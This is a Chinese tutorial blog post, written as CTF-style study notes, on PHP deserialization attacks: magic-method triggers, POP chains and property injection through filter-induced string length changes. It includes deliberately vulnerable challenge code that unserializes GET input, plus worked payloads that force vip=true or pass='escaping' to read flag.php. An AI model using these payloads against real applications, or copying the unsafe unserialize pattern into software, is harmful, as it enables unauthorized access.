php反序列化学习(2)

 1、魔术方法触发规则:

魔术方法触发的前提是:魔法方法所在类(或对象)被调用

分析代码,_wakeup()的触发条件是进行反序列化,_tostrinng()触发的条件是把对象当成字符串调用,但是魔术方法触发的前提是:魔法方法所在类(或对象)被调用,所以_wakeup()没有调用,echo将反序列化的对象当做字符串使用,则_tostrinng()被触发。如果要输出“tostring is here”就需要调用_tostrinng()函数,所以要在source中包含sec实例化的对象

构造得到payload

2、pop链构造与poc编写

pop链:

pop链就是利用魔法方法在里面实现多次跳转然后获取敏感数据的一种payload。

poc:中文译做概念验证,可以理解为漏洞验证程序,是一段不完整的代码(用于验证提出者观点)

首先分析代码,目标:触发echo,调用flag
第一步:触发invoke,调用append,并使Svar=flag.php(invoke触发条件:把对象当成函数)

给Sp赋值为对象,即function成为对象Modifier
却被当成函数调用,触发Modifier中的invoke

第二步:触发get,(触发条件:调用不存在的成员属性)给Sstr赋值为对象Test,而Test中不存在成员属性source,
则可触发Test里的成员方法get
第三步:触发toString (触发条件:把对象当成字符串)给Ssource赋值为对象Show,当成字符串被echo调用,触发toString

据此写出构造payload的代码

因为private属性所以要在前后加上%00后上传。

3、字符串逃逸:

字符减少:

反序列化分隔符:反序列化以;}结束,后面的字符串不影响正常的反序列化

属性逃逸:一般在数据经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少时可能存在反序列化属性逃逸。

原因:

1、成员属性数量不对

2、成员属性名称长度不对

3、内容长度不对

在前面字符串没有问题的情况下,;}是反序列化的结束符,后面的字符串不影响反序列化结果。但是;}不一定都是结束符,是字符串还是格式符是由前面的数字判断的。

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
    public $v1 = "abcsystem()system()system()";
    public $v2 = '123';

    public function __construct($arga,$argc){
            $this->v1 = $arga;
            $this->v2 = $argc;
    }
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?> 

  分析:

  O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}

    如果要逃逸123,就把前面的代码abc";s:2:"v2";s:3:"变成一个字符串

    思路:通过修改$v2的值123使后面的字符串变为功能性代码;s:2:"v3";N;}实现属性v2的逃逸

    O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:?:";s:2:"v3";N;}";}

   (字符串缺失导致格式被破坏,system()被吃掉,abc";s:2:"v长度为11; 令O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:3:"123";})

  因此需要让123前面的代码abc";s:2:"v2";s:3:"成为一个字符串

    O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:xx:";s:2:"v3";N;}
   

一个system()可以替换掉8个字符,abc";s:2:"v2";s:xx:";长度为20,所以前面最少要吃掉3个system()

    O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()syestem()";s:2:"v2";s:xx:";s:2:"v3";N;}";}

    abcsystem()system()syestem()的长度是27,吃掉后abc";s:2:"v2";s:xx:"长度为20,

    所以后面还要再补上7个字符,故:

    O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()syestem()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}

所以,v1赋值为abcsystem()system()system();v2赋值为1234567";s:2:"v3";N;}

字符逃逸减少例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
    echo file_get_contents("flag.php");
}
?>

要输出flag就需要if ($profile->vip){判断为真,因此在赋值时需要将其值改为true。

一:字符串过滤后减少还是增多
二:构造出关键成员属性序列化字符串
$vip=ture
三:变少则判断吃掉的内容,并计算长度
四:构造payload并输出

O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:3:"dun";s:3:"vip";b:1;}

flag被替换成hk,字符声减少会吃掉后面的结构代码

关键代码";s:3:"vip";b:1;}需要吃掉吃掉”:s:4"pass";s:3,$pass的值dun可控,可实现字符串逃逸。

但是这样的话成员属性就会减少一个,所以要多吃一个1,吃掉":s:4:"pass"'s:Xx:"1,这样总共吃了20位,flag转变成hk每次吃掉2个字符,所以共需要10个flag而多吃的一位可以在后面补。

给关键成员属性赋值,得到初始序列化代码。

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hk",$name);
//    return $name;
//}
class test{
    var $user = 'flag';
    var $pass = 'dun';
    var $vip = true ;
//    function __construct($user,$pass){
//        $this->user=$user;
//        $this->pass=$pass;
//    }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
//    echo file_get_contents("flag.php");
}
echo serialize(new test());
?>

用目标代码赋值($pass的值dun可控,可实现字符串逃逸。)

给pass赋值:1 ";s:4:"pass";s:3:"dun";s:3:"vip";b:1;}  (flag转变成hk每次吃掉2个字符,所以共需要10个flag而多吃的一位可以在后面补

user赋值:flagflagflagflagflagflagflagflagflagflag

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hk",$name);
//    return $name;
//}
class test{
    var $user = 'flagflagflagflagflagflagflagflagflagflag';
    var $pass = '1 ";s:4:"pass";s:3:"dun";s:3:"vip";b:1;}';
    var $vip = true ;
//    function __construct($user,$pass){
//        $this->user=$user;
//        $this->pass=$pass;
//    }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
//    echo file_get_contents("flag.php");
}
echo serialize(new test());
?>

字符增多:(例题)

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}
?>

首先观察代码发现替换后字符串增加

<?php
class test
{

    var $user = 'dun';
    var $pass = 'escaping';
}
echo serialize(new test());

?>

O:4:"test":2:{s:4:"user";s:3:"dun";s:4:"pass";s:8:"escaping";}

得到结果,";s:4:"pass";s:8:"escaping";}就是需要逃逸的内容,共有29个,每个hack替换一个php,则替换29个字符需要输入29个php,所以user=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

<?php
class test
{

    var $user = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
    var $pass = 'escaping';
}
//echo serialize(new test());

$a = serialize(new test());    
$a = str_replace("php","hack",$a);
echo $a;   

?>

O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"escaping";}

总结:

反序列化字符串减少逃逸:多逃逸出一个成员属性,第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
反序列化字符串增多逃逸:构造出一个逃逸成员属性第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/664949.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

yolov10训练

yolov10训练 1 yolov10 COCO训练1.1 环境配置1.2 模型训练 2 yolov10 训练自己的数据集2.1 使用源码训练2.1.1 数据集的准备2.1.2 yolov10的预训练权重2.1.3 模型训练2.1.3.1 YOLO2.1.3.2 YOLOv10 2.1.4 模型验证 3 参考链接 论文代码&#xff1a;https://github.com/THU-MIG/y…

dnsrecon一键开始多线程DNS信息查询(KALI工具系列十三)

目录 1、KALI LINUX简介 2、dnsrecon工具简介 3、在KALI中使用dnsnum 3.1 子域名查找 3.2 扫描其是否有DNS服务 4、总结 1、KALI LINUX简介 Kali Linux 是一个功能强大、多才多艺的 Linux 发行版&#xff0c;广泛用于网络安全社区。它具有全面的预安装工具和功能集&#…

Go微服务: 基于Docker搭建Kong网关环境

概述 在当今的微服务架构中&#xff0c;API网关扮演着至关重要的角色&#xff0c;它作为系统的统一入口负责处理所有内外部请求&#xff0c;实现路由转发、负载均衡、安全控制、限流熔断等多种功能Kong&#xff0c;作为一个开源、高性能、可扩展的API网关&#xff0c;凭借其强…

msf攻击windows实例

环境&#xff1a;攻击机kali&#xff08;192.168.129.139&#xff09;&#xff0c;目标机windows10&#xff08;192.168.129.132&#xff09; 方法一&#xff1a;通过web站点&#xff0c;使用无文件的方式攻击利用执行&#xff08;命令执行漏洞&#xff09; 方法二&#xff1…

音视频开发—视频相关概念:YUV与RGB

文章目录 YUV相关概念组成部分优点常见的 YUV 格式数据量的计算YUV4:2:0 存储格式平面模式&#xff08;planar):打包模式&#xff08;packed&#xff09; RGB 和 YUV 的定义关系与转换RGB 到 YUV 的转换YUV 到 RGB 的转换 使用场景优缺点 YUV相关概念 YUV 是一种颜色编码格式&…

MySQL统计字符长度:CHAR_LENGTH(str)

对于SQL表&#xff0c;用于计算字符串中字符数的最佳函数是 CHAR_LENGTH(str)&#xff0c;它返回字符串 str 的长度。 另一个常用的函数 LENGTH(str) 在这个问题中也适用&#xff0c;因为列 content 只包含英文字符&#xff0c;没有特殊字符。否则&#xff0c;LENGTH() 可能会返…

调用上传文件接口出现格式错误

一、造成这种错误的可能有很多 1.检查一下传递格式 2.检查一下接口要求的格式 二、举个例子 这两个有什么区别&#xff1f; 那就是json、和form-data&#xff0c;一定要看仔细接口 如果还是按照json的方式去传就会报错 三、更改header里Content-Type的类型 json等的heade…

【C++】C++入门2.0

各位读者老爷好&#xff0c;本鼠最近浅学了一点C的入门知识&#xff01;利用本博客作为笔记的同时也希望得到各位大佬的垂阅&#xff01; 目录 1. 引用 1.1.引用的概念 1.2.引用的特性 1.3.引用的使用场景 1.4.引用的易错点 1.5.引用的优势 1.6.引用和指针 2.内联函数 …

精雕细琢,B 端 UI 设计展典雅风范

精雕细琢&#xff0c;B 端 UI 设计展典雅风范

面试题:计算机网络中的七四五是什么?

面试题&#xff1a;计算机网络中的七四五是什么&#xff1f; 计算机网络中说的七四五是指&#xff1a;OSI 七层模型、TCP/IP 四层模型、OSI 与 TCP/IP 的综合五层模型 OSI 七层模型 OSI 将计算机网络分为了七层&#xff0c;每一层抽象底层的内容&#xff0c;并遵守一定的规则…

你认识nginx吗,nginx是做什么的,nginx可以做什么 --2)nginx配置

hello大家今天教大家如何用nginx实验tomcat的负载均衡&#xff0c;同理其他的也可以&#xff0c;如httpd等 首先需要准备一个nginx和tomcat包&#xff0c;这里用到的是版本号为 然后需要准备最少三台linux虚拟机&#xff0c;然后我们开始吧 1.安装tomcat 解包 tar zxf /mnt/…

数据结构(三)循环链表 约瑟夫环

文章目录 一、循环链表&#xff08;一&#xff09;概念&#xff08;二&#xff09;示意图&#xff08;三&#xff09;操作1. 创建循环链表&#xff08;1&#xff09;函数声明&#xff08;2&#xff09;注意点&#xff08;3&#xff09;代码实现 2. 插入&#xff08;头插&#x…

uni-app+php 生成微信二维码 分销海报

主要代码如下&#xff0c;可直接复制调试参数&#xff1a; //查询当前用户是否有分销海报public function user_poster(){$this->checkAuth();//查询会员信息$user $this->getUserInfoById($this->user_id);if(!empty($user[distribution_img])){$result[data] $use…

期权高频交易能做吗?期权可以频繁交易吗?

今天带你了解期权高频交易能做吗&#xff1f;期权可以频繁交易吗&#xff1f;在期权交易市场&#xff0c;大部分人都知道不能频繁交易&#xff0c;就连不少投资新手都知道频繁交易是大忌&#xff0c;是错误的&#xff0c;是应该避免的。所以是不行的。 期权高频交易能做吗&…

建WordPress主题官网模板

蓝色的中文WordPress企业模板 https://www.zhanyes.com/qiye/6305.html 暗红色WordPress律师事务所网站模板 https://www.zhanyes.com/qiye/23.html 红色大banner图WordPress外贸网站模板 https://www.zhanyes.com/waimao/27.html

js 表格添加|删除一行交互

一、需求 二、实现 <div style"margin-bottom: 55px"><form action"" method"post" enctype"multipart/form-data" id"reportForm" name"sjf" style"margin-left: 25px;margin-bottom: 50px;&quo…

笔记:Context

Context 是上下文对象&#xff0c;是 Android 常用类 Activity、Service 和 Application 都间接继承 Context &#xff0c;Context 是一个抽象类&#xff0c;内部定义了很多方法和静态常量&#xff0c;具体实现类是 ContextImpl ContextImpl 和 ContextWrapper 继承子 Context…

macOS上编译android的ffmpeg及ffmpeg.c

1 前言 前段时间介绍过使用xcode和qt creator编译调试ffmepg.c&#xff0c;运行平台是在macOS上&#xff0c;本文拟介绍下android平台如何用NDK编译链编译ffmepg库并使用。 macOS上使用qt creator编译调试ffmpeg.c macOS上将ffmpeg.c编译成Framework 大体思路&#xff1a; 其…

LTspice仿真中设置电阻随时间变化的方法

背景&#xff1a; 笔者找了很多资料都没有看到如何设置电阻、电容等参数随时间变化。但在实际模拟中&#xff0c;总会遇到需要模拟这些量的变化。故撰写此文&#xff0c;供大家参考。 除了模拟随时间变化外&#xff0c;同样的思路也可以模拟随其他变量变化 效果展示 设置电…

python3.5如何安装numpy

python3.5如何安装numpy&#xff1f;步骤如下&#xff1a; 1.首先应该将你的Python环境变量设置正确。检验是否正确的方法就是winR&#xff0c;输入cmd 。在窗口中输入python&#xff0c;应该得到如下所示的效果图&#xff1a; 可以在命令框中直接编译python。 2.安装pip&…